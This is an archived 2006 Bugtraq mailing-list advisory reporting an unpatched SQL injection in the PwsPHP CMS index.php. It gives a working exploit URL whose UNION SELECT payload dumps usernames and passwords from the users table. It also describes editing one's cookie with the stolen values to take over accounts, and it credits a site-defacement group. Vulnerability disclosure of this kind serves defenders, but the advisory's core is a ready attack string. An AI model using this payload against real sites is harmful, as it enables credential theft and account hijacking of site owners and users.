lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: 25 Feb 2006 18:13:11 -0000 From: papipsycho@...mail.com To: bugtraq@...urityfocus.com Subject: PwsPHP Injection SQL on Index.php --------------------Summary---------------- Software: Pwsphp CMS Sowtware's Web Site: http://www.pwsphp.com/ Versions: ALL Type: Injection SQL Class: Remote Status: Unpatched. No reply from developer(s) Exploit: Available Solution: Not Available Discovered by: papipsycho SITE : (papipsycho.com & WOrlddefacers.de) -----------------Description--------------- Vulnerable Script: index.php to connect has you your account exec exploit edit your cookie to change the pass and the login, to reload & enjoy --------------Exploit---------------------- http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/* --------------Solution--------------------- No Patch available. --------------Credit----------------------- Discovered by: papipsycho SITE : (papipsycho.com & WOrlddefacers.de)
Powered by blists - more mailing lists